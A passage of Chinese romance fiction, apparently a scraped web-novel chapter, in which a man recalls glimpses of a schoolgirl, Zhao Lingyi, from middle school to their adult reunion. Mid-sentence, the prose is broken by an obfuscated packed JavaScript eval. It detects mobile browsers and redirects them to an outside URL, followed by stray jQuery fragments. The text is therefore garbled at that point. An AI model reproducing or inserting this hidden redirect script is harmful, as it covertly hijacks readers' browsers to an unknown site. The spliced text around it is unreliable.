那天他和冯至打球到很晚，冯至父母不在家，过来他家吃晚饭。
两人满头大汗地跑回家，正赶上张老师家的学生下课。
闷热的夏日傍晚，三三两两的学生聚在一起，一边聊天，一边往外走。
老房子楼梯狭窄，能通行的人不多，他和冯至站在单元楼门口让这群学生先出来。
走在最后的是几个女孩，手挽着手，慢悠悠地讨论着什么，经过他们旁边，他听见那个叫赵令宜的女孩说，“不会，他肯定爱的是她，他都那样了……”
“可是公主才是初恋诶，第一次爱一个人，都会记一辈子的。”
赵令宜反驳了什么，他再没听清，伴着天边火红的晚霞，几个女生走远了。
他和冯至跑上楼，到家门口，他掏出钥匙开门，冯至突然说，“刚刚有个女生挺好看的。”
他开门，扫了冯至一眼，没搭话。
两人进门，放了篮球，去卫生间洗手，冯至又问，“你没看见？”
他不明所以，“什么？”
“那个梳马尾辫的，”冯至试图给他讲述特征，“不对，好像都梳马尾辫。就是那个眼睛特大的，背着粉书包，你真没看见？”
背粉书包的？
话音刚落，冯至就被程锦女士拍了后脑勺，“人小鬼大，好的不学，还学会看美女了。”
“冤枉啊，阿姨。”冯至叫屈，“是美女先看肖绎，我才看她的。”
他瞅了眼冯至，估计他又在胡说八道。
最后一次在老房子看见她，是中考前最后一个周日，他从外公家回来，上楼见她一个人坐在楼梯间，手里捧着一本杂志，读得认真。
那时天已经很热了，她又来早了，张老师不在家。他觉得这个女孩真够奇怪的，居然没有一次是准时的。
她杂志看得相当认真，压根没察觉到旁边有人路过，经过她身旁时，他不合时宜地想起，那天冯至说她眼睛很大。
带着某种探究的心理，他低头匆匆扫了眼，零点几秒，什么都没看见。
他心里暗道自己无聊，再回过头，女孩的马尾辫被大中午的太阳照得乌黑发亮，发尾轻轻摇晃。
后来她没考上八中实验班，不过开学一个月后，他在八中遇见了她。
下晚自习的路上，成群结队的学生穿过学校那条漆黑的小道，一堆叽叽喳喳的声音里，按理说他很难发现她，可那天他的耳朵刚刚好就抓住了那道有点陌生的声音。
在讨论某部电视剧，好像又是关于爱情。
他心想，原来她也在八中。
八中校园很大，奇怪的是，自从那晚遇见她后，偶尔在食堂排队时、课间操回教室时，他很容易就在茫茫人海里发现她的身影。
自然而然发现了她一些显眼变化，比如头发剪短了，换了一个薄荷绿的书包。
他和她的班隔得很远，再也没遇见过她迟到。
每次看见她，她总和几个女孩子在一起，偶尔路过她们身旁，他会听见她说话。
有时说，没关系啦，这次没考好而已，下次加油。
有时说，虽然排名退后了，但是数学其实进步了，所以很值得开心。
有时说，食堂真难吃，明天中午要出去吃饭。什么？你不出去，那我也吃食堂好了。
……
从这些零零碎碎的偶遇里，那个名叫赵令宜的女生，渐渐在他心里被拼凑成一个模糊的形象。
他没有想过让这个形象变得具体，这是紧张的高中生涯里，最无关紧要的事。
作为理科班的学生，他们班有很大一部分人，对语文没有其他科目上心，尤其是作文，得高分的少。所以每次大型模拟考试后，他们班语文老师都会要来年级里作文写得好的答卷，复印给全班传阅。
高三那年，他拿到赵令宜的语文答卷时，还是有些惊讶的。
那天语文课上，他把她的答卷从头到尾看了一遍，包括前面的阅读理解和诗词默写之类的。
女生字迹娟秀，议论文写得很好，旁征博引，看起来阅读量丰富。
他又想起中考前看见她手里拿的那本书，心里忽然多了丝好奇，她现在还看那种书吗？
她总不是读那种书，写出这样的文章。
整个高三，他带着这种微妙的好奇，读了她很多篇考
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553521|186816||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
试作文。
高考结束。
最后一次见她，是考完英语那天傍晚。
她抱着一个黑色的塑料袋，里面装的大概是彩带和气球之类的东西，楼上她们班同学在催促，“赵令宜，你快点，就等你了。”
她嘴里喊着“来了来了”，急匆匆地跑上楼，而他正好下楼。
她抬头看见他，然后和他擦肩而过。
他再回过头，女生的马尾已经消失在楼梯间，只剩夕阳照在雪白的墙壁上。
他心里有道声音说，哦，原来她还在迟到。
自此别后，天各一方。
这些年他偶尔会想起那时。
那年在美国，实验屡屡失败时，他梦见过她一次，还是记忆里穿校服的模样，她笑着和身边女同学说，没关系啦，下次加油就好了。
毫无烦恼的样子。
醒来后，他隐约感到空落。
深夜他对着一堆没有头绪的数据，打开电脑找出了那年中考前她手里拿的那本书，真不可思议，过去这么多年，他竟还清楚记得那个书名。
花了半个小时匆匆扫完，他靠在电脑椅上笑了笑，没有逻辑的剧情，没有逻辑的爱情，当年她讨论良久的就是这样的书？
有时候他想这个女生大概已经结婚了，毕竟她像是向往爱情的女生。
有时候也会想，那年高考结束，在楼梯间遇见，他也许应该和她打个招呼，即使会让她感到莫名其妙。
只是很多事往往都后知后觉，多想无益。
人生的离别和相逢总是突如其来。
那天下雪，他看见她慌慌张张跑下车，站在马路中央打电话说要迟到了。
他惊讶地发现，回忆里那个粉书包竟然清晰如昨。
哦，原来她还在迟到。
他带着时光也没有消解的某种好奇心，和她有了交集。
他曾想过，他对她的零星印象，远不是真实的她。可真实的她，和他想象中几乎没有出入。
他仍然对她感到好奇。
只是不再是无忧无虑的少年时代，他终日忙碌，医院和实验室来回奔走，只会令人失望。